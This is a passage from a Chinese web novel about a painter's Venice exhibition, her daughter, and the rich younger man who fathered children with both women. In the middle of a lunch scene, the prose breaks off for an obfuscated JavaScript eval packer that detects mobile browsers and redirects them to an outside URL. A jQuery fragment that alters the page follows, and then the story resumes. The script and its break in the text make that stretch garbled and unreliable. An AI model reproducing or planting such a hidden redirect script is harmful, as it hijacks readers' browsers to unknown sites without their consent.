“我二哥朝大姐发火,不会朝冬花发火。我二哥跟我大哥说话从不笑,跟我爸就更不会了。说二句就不说了。有几次屋子很安静,我以为房间没人,吹着口哨进去,看见一个房间坐着三个人,我爸我大哥我二哥。我说你们开电视电话会,把我落下。我二哥说,你坐呀,他把他手里的书丢在我身上,我赶紧走了。”
“书有那么重要吗?为了看书父子兄弟一年难得一见,还不说说话?”
“他们心里都明白,没有话说了。我二哥说,瞎聊天就是浪费时间,瞎扯淡。可我就是喜欢瞎聊天。幸好我妈还给我生了一个喜欢说话的二姐。不然的话,生在这样的家庭,弊死了。”
“云子哥,你考试拿过几次一百分的?”
一旁的工作人员,看到云子抬头笑着问他一句。
“呀?一百分?想都不敢想。反正鸭蛋吃得最多。吃完了躲在茅屋里不敢回家。”
云子走过去,见人扛着木板过来,赶紧闪到一边?
“怪不得你哥不骂你。”
刚才那工作人员笑着说了云子一句。
云子说了会儿,就走了出去。再来时,他告诉何穗:
“乃子祥子说过来,我说你在忙,让他们晚上找个地方坐坐。”
云子在外面晃荡了一会,回来看着蹲在地上看着工作人员作业的何穗,告诉她说。
“讲好了,我请他们吃饭。”
女人看着工作人员己经包装好的放入木箱里的画作,站起身来坦荡地说。
女人把那些重叠起来的画放到一边,有工作人员过来劝她:
“何姐,你把要拉去展览的画放在这里就好了。别乱动了,搞错了很麻烦的。我们会负责一直到威尼斯展览结束。”
”啊?”女人走到一边,满脸歉意笑着说,
“那太麻烦你们了。”
“何姐,你别打扰人家的工作吧。”
云子在旁边朝他招手。
“你今天这么乖,一直陪着我?”
女人这才从工作场地离开,走到云子面前,故作庄重地问。
“二哥说了,不能出差错。”
女人点了点头,露出一丝腆腆的神情说:
“我想一定是春子跟你说了。”
年轻男人告诉女人说,到了展览的那一天,他会从香港乘飞机过去,陪她两天。
女人把年轻男人那张照片放进了自己的背包里层。年轻男人是理解女人的那份痴情。尽管如同流星一般,短暂地出现在自己的生命里,却照亮了她的一生。
他们之间的故事尽管有点荒谬离奇,但它不只是风花雪月,更多的是担当的勇气和撑举的力量,让自己感动的情怀。
在女人心中,自己愿意为年轻男人做出任何选择,哪怕是放弃自己的生命。至此,她终于明白了当年的雪秀为什么会那么痴心不改执迷不悟了。
当然,那天雪秀打电话问及儿子的事,还是让她心里愣了一下,但很快就平静下来。
一向处变不惊的年轻男人淡然地说过,天塌不下来,即使塌下来,也没什么可怕的。
十天后女人到了威尼斯,女儿苏姝也会在那里水上城市和她汇合。年轻男人没有告诉她女儿可以陪母亲多久。年轻男人对她说,届时女人愿意的话,尽量在那儿呆久一些,顺便看看欧洲一些古文化遗址和具有现代文明特色的发源地。能够呆多长时间,女人这是第二次出国,而且还肩负着重要使命。自从年轻男人告诉她把她的画作搬到国际展览市场上后,这种未曾有过的经历如梦幻般的存在在现实生活中,像是一股神秘的魔性力量俘虏了女人。
这段时间,女人的心一直在年轻男人与自己之间陶醉。当然间中,也会想起女儿。
现年二十八岁的女儿,大学毕业留学美国,她在美国并未完成学业,去了年轻男人驻旧金山的分公司。女儿翌年为年轻男人产下一子。现在他们的这个儿子周思雨己经五岁大了,俩人的第二个孩子、女儿周思祺也快满三岁了。
对这对母女来说,这种离奇的事情宛如一道彩虹,又高兴又害怕。如今,女人回忆起与年轻男人的是非纠葛,自己母女俩整个人生都被改变了。甚至还颠覆了自己大半生的认知。
当女人收拾好行囊出发,大型货柜车载着参展的画作驶向大洋彼岸时,知晓的人羡慕不已,一些人对女人说:
“一生之中能遇到对的人,就像找到了生命中的阳光,温暖了心房,照亮了自己的前程。”
之前那些对女人婚姻状况的讥笑嘲讽甚至侮辱,大概察觉到自己的毫不尊重别人的愚昧和拙俗,遇见女人也开始分外客气小心谨慎起来。女人知道,自己的整个世界变了。
有人说绝美的爱情,双方或许不同阶层、阵营,也默契地不管对方的身份地位,甚至人品上的优劣,只有把握住了那个既危险又神秘的瞬间,而在这种互不相识,也没有未来的关系中,他们只能展现更多真实情感中的自我,完全被一种原始的欲望所支配,尽管充满着不确定性危险和风险。
这也是一些爱情片为了吸引眼球,把爱情剧设置在血风腥火的谍战中的原因。
而现实生活中,最好的爱情就是对于男女双方来说,从一开始就知道俩人一起,意味着是什么样的结局。现在在女人心里,男人和女儿,包括己经是身为人母作了男人的女人的女儿都很清楚。
据说有首歌这么唱:
你鼓舞了我,当歌声响起,
引来无数只,温情尊重敬爱的眼神
焦虑忙碌弥漫的空气突然变得祥和……
如果我选了一条陡峭向上的路
其实就舍弃了艰难困苦的托辞
剩下只有热爱才足以匹配我炽热的心
感谢一路相助的贵人
也感谢一路蔑视的我的人。
均是助益与朋友,谢谢你们。
好温馨,我流泪了
世界上还有如此美妙的事情,感人至深。
……
女人从香港乘飞机抵达法兰克福,在那里和从旧金山出发的女儿汇合。
有人说这座水上城市是上帝将眼泪流在这里,让它更加晶莹和柔情。它蜿蜒的水巷,流动的清波,充满着诗情画意,就好像一个漂浮在碧波上浪漫的梦。这座汇聚许多著名的古迹建筑,来自世界各地的艺术家在这里留下了自己的足迹。
女人人生旅途中功不可没,在四十八岁上迎来人生的巅峰。美术界认为女人创作画作是在浓郁的生活氛围之中与虚构的艺术之间形成,为人们带来了更丰富的视觉享受的世界。在女人的画作中,那个世界能抚慰受现实压迫的心灵,激励萎靡的意志,能化解紊乱的情感,使观者拥有平缓轻快的心情,以及受到净化后的澄明心境。
女人静静看着自己的画展,颤抖着双肩。
为了不让人们看到自己激动的面孔,她把帽子压得很低,脖子上的围着粉色的宽丝巾也几乎挡住了她的半张脸。
年轻男人不得不靠近她,低声对她说:
“这些天当作游客,天天来这儿驻足观看,慢慢就习以为常了。”
“这是我吧?是我的画展?”
“不是你的,是别人的——你就当作是别人的吧。”
年轻男人附在女人的耳边,悄声道。
“我用力拧了一把自己的胳膊,发现是我的,也使劲让自己定下神来,才知道你是在戏谑我。”
女人双眼格外明亮,再度把围巾遮挡在脸上。原来女人说完这句话,激动得热泪盈眶。
俩人走过展厅,这里的天花板很低,两旁石壁上粗糙的线条透露出一种历史的厚重感。
女人的每幅画作,除了是视觉的享受之外,每一部都有独一无二地撼动人心的地方,让人观赏了之后不仅流连忘返、细细品味,甚至于每回忆一次灵魂便如同经历过一次沐浴洗礼。
正如女人自己所说,她没有信仰,自己只不过是芸芸众生中的一员,终其一生都在随波逐流。其实她这一生,一直在追逐真正的自我的生活。她比许许多多的人更从容、更充实地享受人生。
她朴素明智地生活,才是更加崇高的生活。她勇敢自信地循着自己梦想的方向前进,并坚定不移地走下去,取得别人所无法获得的成功。
作品的标题是《浣纱溪》,表现出了中年女子在清澈的河边洗衣服的情景,这是女人二十年前在冬塘当知青的作品。
“风景真好美喔…”
有人一走进展厅就发出了赞叹。
“旁边的木质屋、原始森林描画也恰到好处啊。”
“像是回到远古时代啊,这可是近来少有的杰作啊。没有一点做作,构思巧妙,就是返朴归真温馨的感觉。”
接着又有来人点评了两三句后,走到旁边的台面上,拿起何穗的名片,小心翼翼地放入兜里。
好些外国人看到何穗的画,来到冬湖国家森林公园,被大自然巧夺天工的神奇的景象感动得热泪盈眶。
从侧门出口走到外边,女人的心难以恢复平静。俩人驻足于水市环抱的古建筑群,眺望着小河与古屋、咖啡店、船与码头;优雅的贡多拉小船,有时会载着游人和歌声穿梭于蜿蜒的水巷之中。
这里以美丽风景画般河流的水上街景,吸引着来自世界各地的艺术家和无数游人。
如今对于女人来说这并不是痴人说梦。
“在这里,细细品味也许有许多撼动人心的地方。”年轻男人对女人说,
“尽量住久一些,二个月三个月,随便你。这是文艺复兴之地,慢慢走,慢慢看。当然以后也可以以旅居海外的方式常来。”
女人这次的签证是半年,她回去会把提前退休手续办了。年轻男人来之前把这些告诉了她。以后女人就以国际知名画家的身份,专心致志绘画,做自己喜欢的事情,不受任何外界的限制和约束。
“当然,你也可以应聘来万柯公司,以设计师的身份游览世界各地。”
年轻男人的话语还是那么淡然,不动声色,但是坚定有力,常常给人以一锤定音的信任。
“我合适吗?”
女人轻声望着年轻男人问。她当然知道这么问是多余的。但是年轻男人还是回答了她:
“只是挂个名,有了身份,方便出来。”
年轻男人带女人来到一个小广场上,有人在喂鸽子。有两棵矮矮的树,远远看过去,有树实在矮得让人发笑,站在树下那几个人,好像是莫名地挂在树上。
女人的身份认同早已模糊,甚至于是不可告人的秘密。现在年轻男人给她指明方向和目标,也是给她以后的身份明确交代和未来的人生规划带来新的机遇和美好。
女人激动的心情无以言表。
“这里提倡进取精神和人文价值,鼓励人们追求现实生活的幸福。”
男人望着一艘从水巷里摇晃过来的贡多拉,对女人说。
眼前这座风景如画古韵十足的水上古城,油然而生的历史沧桑感。斗转星移,时代的车轮碾压一切。对追求美的精致,让这座水上城市处处都透着浓厚的艺术气息。一定要说有什么还算固定的东西,那就是映照在水面上的波光潋滟、天空中光芒四射的太阳。
“跟着优秀的男人,再平庸的女人,也会变得优秀起来,你说是吗?”
在威尼斯国际画展上,女人情不自禁偷偷地拥抱着年轻男人,偎在他的耳旁低语,
“遇到对的人,就像找到了生命中的阳光,温暖你的心房,照亮你的前路。”
“是何姐本身优秀,我只是借风使舵吧?”
“也有人说,女人对于使用过自己的男人会常常有出其不意的效果。这么说是不是很庸俗?”女人松开男人,满脸娇笑。
“这么说也对。你是孩子的母亲。”
“尽管你是孩子的父亲,我还是要谢谢你!因为你并没有弃之不顾,而是竭己所能照顾到了孩子的母亲!”
几只鸽子在岸边嬉戏,只要有人伸出手,就会有鸽子飞到手掌上停留,宛如童话般是在问候也仿佛是梦幻般在亲近,一点也没有恐惧。偶尔还会有一只大的海鸥飞来,也试图象鸽子一样停在人的手掌上。
女人告诉年轻男人:她曾经不止一次地想过,每天出门寄情于山水,进门画画,慢慢地熬过岁月,虚度光阴。有时候也会眼巴巴地等待着男人的抚慰。她怀疑自己是在丧失生命的时间?还是因为自己的时间,丧失了生命?
“即使谈不到爱情,总有一个可依靠的男人也好。”
女人说出最后一句话,挽着年轻男人的手臂,微歪着身子依着年轻男人,带着心满意足的笑容,陶醉在幸福的满足中。
“成功永远只属于那些后天极少数锲而不舍的奋斗者,和对生活保持有目标的人。”
年轻男人看着女人,淡然一笑,
“何姐就是这样的人。”
“你也是。”
女人扬起脸回了年轻男人一句,像是故意跟他顶嘴。
“我?”年轻男人看着女人愣了一下,再对她摇了摇头,说,
“我不算吧?”
直到如今,年轻男人对自己的成功,持怀疑的心态。
“带上信仰,去寻找属于你自己的国度吧!哪怕倾尽一生。”
年轻男人伸个懒腰,双手握着围栏,眯着眼望着不远处大教堂的钟塔说。
在两棵绿萌浓荫矮矮的树旁,有人在喂鸽子,有人坐在树下的椅子上。
在这个薄情的世界里,女人用自己的成熟和善良温暖着这个冰冷的世界。她用自己的坚定勇敢挑战一些人类的界限。
尽管现实生活中种种的无奈和困惑,女人坚持创作的画面,为自己虚构属于另一个自己的世界。那个世界能抚慰受现实压迫的心灵,激励萎靡的意志,能化解颓废的情感,使她拥有平和轻快的心情,以及受到净化后的澄明心境。
这个用浪漫的画作陪伴过大半生的女人,还有两年年过半百。在女人的世界里,知世故而不世故,才是最真实的成熟。
旁边一家小店,摆满了各种各样大小不同的做工精致的玻璃制品面具。
据说在面具后面,男人可以变成女人,女人也可以变成男人,穷人变成富人,富人变成穷人。很多场合都会被用来隐藏身份和社会地位,因为它可以使穿戴人之间的交流更加自由,而不必受到社会等级、日常习俗的约束。
“我希望自己每一帧画面都美如梦境,可以温暖了一些可怜人,也可以去治愈了那些让自己孤独的心灵。”
“我想让自己可以变成更好的人,成熟、善良,让自己温柔以待,足以匹配现代文明社会中最普遍的一分子,而不是累赘。”
“坚强不是面对悲伤不流一滴泪,而是擦干眼泪后微笑着面对以后的生活。”
女人幸福地偎在年轻男人身边,喃喃自语。
可以看到,一些房屋的墙壁斑驳不堪,有些明显有被水浸泡过的痕迹。很多房子可以看出来久无人居。
据说这座水上城市海水涨潮的时候,海水淹半层楼甚至一层楼高,是常有的事。
男人曾经有过二次光临于此处水上之城。对于他来说,太多的事务无暇去感受这里的艺术魅力,也不会像女人一样去细细琢磨那些美伦美焕的具有中世纪风格建筑作品和城堡里那些五彩缤纷绝世壁画。
他和女人在展览厅逛了一圈,再岀来走到外面和陪女人一起欣赏水上之城的风景。
女人和年轻男人看到女儿苏姝在不远处站在那儿等着他们。
对于女儿来说,参加母亲的画展,是一生当中至高无上的荣誉。从旧金山过来的女儿,目睹母亲和男人的亲昵,女儿是理解的。女儿乖巧地选择了把时间和空间留给母亲和年轻男人。
看到母亲和男人耳鬓厮磨喁喁细语的相依相拥,女儿有一种超越的殊荣。
男人摄人心魄,母亲也不例外。如果年轻男人不打电话让她前来,她或许会隐匿在水上之城某个角落。
年轻男人举手挥了挥,女儿像是不知道从哪里冒出来,首先她给年轻男人一个满怀的拥抱。对女儿来说,无论是替自己还是替母亲,这是一个很高尚的男人,女儿坦诚地向他表示对他的爱慕和谢意。
女儿在表达情感上不扭捏也不羞涩。女儿柔情蜜意,让母亲有点妒忌。女儿在母亲和自己男人跟前,有着很可爱的天真和热忱,她娇嫩的脸庞焕发着青春的光彩。
女儿成功地登上了她理想国的彼岸,品味着她的幸福生活。有一种生命,意识到本能的幸福和快乐,为什么不能享受? 从相识、相信、再到相亲相交,男女之间顺应天成,完成繁洐人类的使命,有何不可?
女儿依靠男人的成就,享受优裕的生活,男人依靠女儿的生育能力,为自己繁衍后代。这是实用主义的体现。不然那么多财富怎么办?总不能拿去充公吧。
在女人和女儿看来,她们母女俩率真的情谊和默契不是往昔的幻梦,而是已成眼前生活中的现实。
女儿在母亲对面的软椅上坐了下来,她满含深意地朝母亲问:
“从老情人那过来?”
“我碰到他了。”
母亲有点讪笑回答女儿看似放肆调皮的玩笑话。
女儿她们是新新人类,想法大胆而率真,没有世俗限制,也不受任何理念上的约束,尽管是对自己的母亲和男人。
这家餐厅正对着安康圣母院和大运河,景色绝佳。母女俩和男人和坐等午餐,居高临下,可以一览无余瞭望水上之城的每一处风景。
恰逢正午的阳光,恍如春天的海风吹拂,倍感舒爽。
女儿喜欢的午宴菜肴:有金枪鱼、芦笋、烤牛肉和相称的西施佳雅红酒。
女儿说不上那种超群出众的美丽,但长相俊俏,神态优雅。女儿额上沁出了细细的汗珠,母亲用纸巾替女儿揩拭汗水,再故意佯装生气地说,
“都怪你来迟了。”
“是的。倒是怎么回事,让他多陪你会。你不是要去开会吗?”
女儿跟母亲说后,再转头看着男人问。
早上起来时,年轻男人对女儿说要去会人,约摸需要一个小时。他会完友人从酒店里出来再陪女儿的母亲。
“他去过回来了,你又去哪里了?还在陪那些没来过的人吗?”
母亲抢着替年轻男人回答。
“是。公司好些年轻人都是第一次来。他们很高兴。”
女儿兴致勃勃地回答母亲,再转看着男人说,
“我己经挑了几位陪妈妈的人了。”
“你也得留下来陪妈妈一些日子。”
年轻男人对女儿说。
“她没空就算了,和你一起回吧。”
女人像是体谅女儿,朝年轻男人道。
女儿偎在男人的肩膀上咬着他的耳朵小声说了一句什么话,女人没有听出来。男人淡然一笑,没作任何反应。
女儿当着母亲的面拥吻了年轻男人,让母亲既欢喜又妒忌。母亲教她深情地爱着年轻男人,教她替年轻男人生儿育女,融入周氏大家庭。母亲详细教她不要计较名分和地位,只要有份优裕的利益就行。
“如果一棵很高大的树,活上数百年,就不要去计较那些枝条上翠绿的叶子和美丽的鲜花了。”
他们的儿子一直寄养在自己的女儿男人的女人家中抚养。母女俩虽然有过短暂的共侍一夫不得体统的举措。但是她丝毫不在意是对人伦道德上的追究。
从一开始跟定这个商界巨头之后,年轻女人知道,自己不只是他的小情人,他们拥有合法的婚姻,俩人有共同的子女,是真正的夫妻关系。男人英俊、睿智,拥有巨额的财富,总是那么吸引人。她的信仰是这个男人,男人是她的全部生活。
威尼斯广场显得更加整洁美丽壮观了。当阳光洒在这栋纯白大理石堆砌建筑物上时,纪念堂反射出耀眼的光芒,映衬着威尼斯广场,仿佛沐浴在上帝的荣光中。
快活、年轻、红光满面,身着燕尾服的侍从从行道的拐角过来,他歪戴着流行的低顶帽子,雪白的牙齿在微笑的红唇之间闪烁着。他一手托着菜盘一个劲呼唤他们用膳。
如果不是亲临其境,不能相信眼前面映着清晨的景致,这一切属于大自然的神奇,就是这样呈现在自己眼前。
女人对此一切都觉得新奇,抑制不住的喜悦撇着嘴角往上扬起了心满意足的笑容。
“人还真是要多出来见世面,要不囿于自己那个小天地,太让人孤陋寡闻了。”
女人从心里发出感叹。
目睹这座水上之城汇聚世界各地的古迹建筑群,给人以视觉的享受,每一处都是独一无二地撼动人心的地方,让人观赏了之余流连忘返:细细品味,仿佛如同经历过一次灵魂的洗礼。
三人摊开餐巾,开始就餐,食物散发着浓密的水蒸气。女儿拿起了刀叉,把面前的菜肴细细察看一番,从放到碟子里割了一小块牛扒,很满意的样子吃了起来。
母亲看着女儿舒畅地笑了起来。她拿起筷子从盘里挑起一小撮面,放到自己碗里,再瞥一眼身边的年轻男人,那意思是:现在与年轻男人一起,即使谈不上爱情,作为一个女人一生中有一个可以依靠的男人,也是件很幸福的事情。
“何姐,静下心来,让苏姝陪你好好看看外面的世界,也不虚此行。”
男人叉着块面包,喝了一小口红酒,吃完后,看着女人对她说。
“即使那里也不去,一生当中能够把自己值得骄傲的事情做好,也是满足的。”
女人不知道怎么表达自己的情绪,有点语无伦次。
她还不习惯使用刀叉餐具,边说边笨拙笑着地用勺子舀片金枪鱼片
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199098|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,放入口中。
“妈,你来多几次就会觉得平淡无奇了。”
女儿笑着对母亲说。
她用叉子叉起牛扒吃着,看着母亲窘迫的样子,把切成片的苹果,细心给母亲叉上二块,放在她面前的盘里。也再给男人叉上一块。
“妈,这次借在国际画坛上展示自己的画作,是件非常美好的事情,借此机会好好游玩一番。也算是为自己庆祝。女儿是不会有如此伟大的成就了。”
女儿对母亲说完后再说道,自己如果要达到母亲这个成就,至少还需要付出二十几年的努力,如果到了那个时候女儿纵使有这方面的天赋,也不定能有贵人相助的时运。
女儿最后总结是想取得如母亲这般成就还是很渺茫的事情。
显然,女儿在智慧方面和精神方面都谈不上有母亲那些细腻的秉性,因而对事物的神秘现象也就不会如母亲那样敏感,要想达到母亲这种境界就会很难,甚至是遥不可及的事情。
母亲听着女儿这么说话,露出微妙而亲切的微笑。
“我叫‘雪秀姐姐‘?……”
“你叫‘二姨’。”
母亲打断女儿的话。
“叫‘姐姐’,好些吧。”
年轻男人望着女儿说。
“姐姐不知道是我嘛?”
女儿问她昨天晚上问过年轻男人的话。
“这没关系。”
“主要是,姐姐和妈妈是好姐妹。”
女儿还是有点担心,回到香港,雪秀要见她,让这个年轻女人有点慌恐,她在男人面前扮成状似可怜的样子,男人安慰她道,太太虽然伶牙利齿,也并非面目狰狞,太太已是人到中年的女人,在如麻的世事中四十多年里早已看淡一切,经历过弃她另娶喻蓓事件,她一直谨言慎行小心翼翼。
男人让年轻女人见面时乖巧温顺,把太太当作大姐,去化解女人们之间的妒忌和醋意。
年轻女人就是要从男人这里讨得如何应对雪秀的计谋,她装作可怜巴巴的样子的问:
“太太要见我,怎么办?”
“其实很简单,她说好的,你就笑。她说不好的,你就哭。”
男人以一副无所谓的样子,用调侃的语气,告诉年轻女人说。
周振春与所有的位高权重的财阀一样:垂涎美色,但不仅仅是止于发泄,有时候奔波劳累,他需要吃点家乡口味的饭菜,心情不好时,与年轻女子一起,聊聊轻松的话题。自少年就离开家乡的他,有时需要听听来自故乡的乡音。
“也是。”
一直关注年轻男人和女儿的母亲点点头。她认同年轻男人的说法,
“雪秀姐姐很善良,也很通情达理,你尽管对她好就是,她肯定会把你当亲妹妹看待。”
母亲和年轻男人相信,纯朴善良的雪秀见了女儿,得知一切真相之后,毋需做费些口舌的解释。不过也会生气,只要女儿温顺,无论怎样,母女俩和她的关系仍旧不会改变。
让女儿居住香港,女儿年轻气盛正值花朵般的的年龄,不能过沉闷的生活,不能长期一个人放在大洋彼岸的地方呆着。
年轻女人也害怕自己像雪秀那样被男人抛弃得神经衰弱症。事实上像自己这样,在旧金山山庄年轻女人一直处于那种焦躁不安的氛围里生活。当得到男人让她回香港居住的消息后,年轻女人的心情一下就轻松了。
男人把自己娘儿俩接回香港是理解到了她远隔重洋忧心忡忡的心情。
女儿从小缺乏父爱,便容易对大龄男性产生特别的感情,既然要入豪门跨阶层,就得逾越平常人眼里的年龄障碍。女儿倾情于年轻男人,年轻的女儿用生育来笼络男人,她放弃了青春,放弃了她这个年龄段天真活泼,放弃了学业,而且不在乎是母亲的男人。
如果她知道这个男人并且还与自己的母亲生育过一个男孩,这个男孩正以小舅子的身份寄养在自己家里,完成学业,年轻的女儿会有一种什么样的姿态看母亲?
在女人看来,这完全可以置之不理,听其自然解决。即使别人以后怀疑到年轻男人的身上,以年轻男人的睿智和果断,也不会闹到不可收拾的地步。这不正是她的伟大之处吗?人世间还有什么比繁衍人类更伟大的事情吗?
年轻男人非常和蔼,和女儿谈话像是老朋友一样,女儿很温柔体贴,让母亲很高兴。
对于女人和女儿来说,把属于自己美好的事情,牢牢掌握在自己手里,不接受任何外界的干涉。相较那遥远小城那些闲言碎语,是件不足挂齿的事情。
作为母亲,此时的女人处在人生最快活的心境中。
豪门的秘密千奇百怪,不是一部书一本小说能够说得清楚。豪门身边的人:管家、司机、保镖,富翁时刻需要他们,但他们又知道太多关于富豪的秘密。富翁只能花更多的钱,给他的“仆人”们更优厚的报酬,用以堵住他们的嘴,守住自己的秘密。
富翁不在乎花多少钱,只要求一点:别把我的那些怪癖和见不得人的事说出去。
难道还有什么可以拘求?
无论是母亲还是女儿,母女俩对当下的生活感到心满意足。女儿成功地登上了她理想国的彼岸,品味着她的幸福生活。
女儿对母亲说,不仅教孩子们如何画画,更重要的是教会他们如何用艺术的眼光看世界,如何用创造性的思维解决问题。
“思祺再大一点,我准备再生。如果妈妈以后和我住一起,就把思塘留在你身边。算我是还你的人情债。”
女儿笑着对男人说。
对于年轻的女儿来说,一门心思为男人生儿育女,繁衍后代,以确保自己在周家府邸的身份和利益。
“她和我一样,土地很肥沃。什么种子撒在上面,很快就会生根发芽成长。”
母亲看着年轻男人替女儿说。
“孩子生下来,把思塘叫哥还是叫什么?”
“当然叫哥嘛。”
年轻男人说。
“就辈份上?……”
女人有点迟疑地看着年轻男人问。
“不就是一个称呼吧。”
年轻男人不以为然地说完,再说,
“等孩子们大了,知道怎么回事,再改口就是了。”
各式各样的建筑,在水波返照的夕阳中,上演最后一幕水下迷蒙的倒影。对于女人来说,现在当着年轻男人和女儿讨论儿子思塘,这是一个无法再说下去的话题。幸好女儿把话题转移了:
“咱妈问我,什么时候带思雨思塘回去让她看看。”
女儿朝年轻男人问。
“和你妈一起回去吧。”
“我怕有点不习惯。”
“回老家住段时间。以后就慢慢习惯了。”
“妈说,我的土地也很肥沃。”
女儿见母亲一直不搭话,像是要逗母亲开口一样,看着母亲笑着再朝男人说,
“假如我妈要是还能再生,你和她再生一个吧。我是不太相信思塘是二堂哥的,说不定就是你和妈的。因为思塘像你,一点不像二堂哥。再说现在医术这么发达,我很想看到我们母女俩一起给你生小孩。”
女儿看看母亲又看看男人,想从他们脸上寻找答案,用戏谑的口气笑着说。年轻女人这副捉弄人的样子,让男人摸不清她到底对事实真相了解多少,或者想从中窥探自己和她母亲那般的暧昧关系有多深?
女儿是否心存质疑?母亲同样也是忐忑不安,不敢目视女儿。见男人安然自得的神态,女人的心好一会才缓和下来。
女儿并没有盯视着母亲,而是故意偏着头,把目光移向远处的钟楼。
据说大物理学家、天文学家、近代自然科学的创始人伽利略先生,就是在这里测试自己的望远镜。
这座种楼最初是用来提醒军械库造船厂的工匠们一天工作的开始和结束。如今它一天在正午和午夜之时,有两次敲响。
女儿对男人说过,替男人生孩子是对男人的爱,替男人生多几个孩子,是对男人更多的爱。
“人多力量大,深信不疑。三十五岁之前,生五个孩子。这是我的目标。你不要辜负了我。”
女儿认真地看着自己的男人,显得又认真又有趣地说,
“如果妈妈愿意,就匀一个让妈妈去生。妈你同意吗?我倒觉得这是件很幸福的事情。”
“哈哈、……”
母亲看着女儿愣了一下,待反应过来,禁不住开怀大笑起来。女儿这番惊世骇俗的言论,让本来有些拘谨的母亲一下释怀起来。
这一年,周振春凭藉492亿美元身价登上福佈斯全球富豪榜第N位。本来有钱有颜,可以流连情场,左右拥抱,却选择了“择一城,选一人,过终生”。有熟悉他的朋友说,他忙完事务通常是回家陪太太们看书。
“人活世上,哪里随心所欲?只要没有坏处,何不迁就他人和自己?更何况是对自己身边的人。我也累了,现在冬子上来,三五年他行的话,我就退下来。”
年轻男人对母女俩说。
“你才四十出头?”
母亲疑惑盯着年轻男人问。
“你看我像是四十出头的男人吧?”
“你姐雨秀说你,你坐着就像是姜太公。不同的是姜太公手持的是一篙钓杆。你手捧着的是一本书。说你太操劳了,身边没有一个能够帮得上的帮手。”
母亲充满爱意望着年轻男人说。
周家上下心疼年轻男人,拿他与年逾七旬老人比,一是说年轻男人的满腹经伦,韬略壮志;其实才是说年轻男人的身影神态与他实际年龄不相符的老成持重的沧桑。
年轻男人和女儿之间大概很少有平等的对话。因为年轻男人状似父亲般的教导和女儿宛如女儿般的温顺。
“有时候人要忘记自己的存在。与人交往,要有间隙。除了亲人之间,再铁的关系都会有灰色地带,这些你要告诉孩子们。”
年轻男人以长辈的口气朝女儿说,
“人生没有那么必要活得那么劳累与疲乏,再在哀愁之中,沉沉而去。”
女儿目视着年轻男人,乖巧地点头。
有人说,视觉是欲望的必经之路,凡是绕着走的人,少了欲望,也走不到理想中的目的地。我们白天和夜晚发生的故事充斥着各种各样的情绪,一切都是向着我们如何面对生活的主题,一个人处于生存与发展的路径上的追逐一种梦境。
“你要是多陪我们几天,多好!”
母亲喜悦地说完这句话略略低下头。
男人以不吱声回答她,让母亲觉得脸上一阵躁热。眼前的男人与自己到底是什么关系?她连想都不敢去想。
当然不会是丈夫,也不可能是情人。
她觉得任何有与年轻男人纠缠不清的想法都是多余的,唯一能做到的就是自己连想都没有必要这样去想。
但是母亲的心情还是有些激动。现在母女俩和年轻男人同坐一起,三人同行,世上没有什么比得上更让人期待和羡慕的事情,尽管有点儿那么稀奇古怪。
女人当然知道现在不是陶醉在缠绵悱恻的时候,未来的日子,女儿将陪伴她游历这片欧洲各地。女人始终认为,与年轻男人女儿一起,年轻男人是属于女儿。
好像自己是在照管着俩个调皮捣蛋的孩子。
她既害怕年轻男人疏远自己,又担心女儿得不到年轻男人的宠爱。
有时也会丧失理智:要不要母女俩同时占有年轻男人?
此念头一出她不断地告诫自己:为了使自己不受欲望的魅惑,自己必须时刻严守人伦礼节,对年轻男人保持敬而远之的态度。
实事上,当她看到女儿和年轻男人亲昵时,自己就会有一种莫名的本能上的冲动。
女人心里明白,以女儿尚未谙于人世的年纪,男人生活的方方面面,女儿不甚了了。
午餐后,男人和母女俩乘坐飞机,返回罗马的酒店。
届时会有大运河的唯美夕照,照亮归途。
对于人类来说,需要的关心和爱护,善良和包容我们的生活所需,自由的世界才能成为要去顶礼膜拜的对象。在二十一世纪初,对于你们新新人类而言,一切才刚刚开始。我们曾经幸福和苦难的岁月,那时候的天真和复杂的生活,已经一去不复返。历史选择已经做出,我们只能顺应时代潮流,阔步前进。
15. 第十五章
一个很年轻小巧时尚的女人,身穿一套很考究的敞褂风衣,脚穿深蓝色运动鞋,疾步如飞,发出嗒嗒的脚步声。
蒋志幸从车上下来,匆匆忙忙地来到周家府邸,扑通扑通地踏着地板砖,一进门就朝屋里嚷喊道:
“二姨、二姨——……”
“幸子!”
雪秀迎了出来,她走向蒋志幸。
周振实的再婚妻子蒋志幸比雪秀小十几岁,雪秀按晚辈孩子们的称谓叫她的小名“幸子”,听起来既亲昵又年轻。
相较而言把周柯喻三家撕扯得遍体鳞伤的雪秀,小文的自尽就风平浪静,西山市市长周振实在第二年再婚,娶了一个很年轻的女大学生蒋志幸,比他相差二十五岁,入万柯公司担任董事,负责海外接待和协调工作,持周氏族亲股份,第三年产子,妻儿移民美国,与周家女眷移民海外一样,为了方便与内陆家人往来,也是长居香港。
“二姨还是老样子吧。”
蒋志幸一见雪秀就兴冲冲地朝她喊。
“一见面就说我‘老样子’,我老了吧。”
“是说您和以前一样的嘛。”
“姐告诉我,你的生意越来越好。姐总算看对了你。姐怎么没陪你来?”
“姐是有身份的大忙人。你还在想她吧?”
俩妯娌见面亲热一阵说笑后,蒋志幸从她敞开的衣襟怀里的那个小口袋拿出来一张泛黄的相片和一笺小纸,递给雪秀:
“路上有人拦车,递给我一张相片,还有一张纸,上面写着我们老爷爷爷爷叔父振岩大哥的名字,看来是认识我们老周家的人。”
雪秀接过相片,仔细看了,一下惊叫起来:
“人呢?你在哪里遇上的?”
“就在山脚下,一个六旬老人和一个二十几岁的女孩,我看不是什么新闻记者,也不像是什么坏人,就接了。”
蒋志幸见雪秀一脸惊讶,凑到她跟前仔细打量相片上的人:
“看起来有点儿面熟?是不是二姨你认识的人?”
“这大一点的是振实父亲、周瑞佑伯父,小一点年轻人是五叔父周瑞恩。你看跟春子长得很像……你也真是,像个小孩,对我们老周家一点也不了解。”
“振实他又没跟我说。”
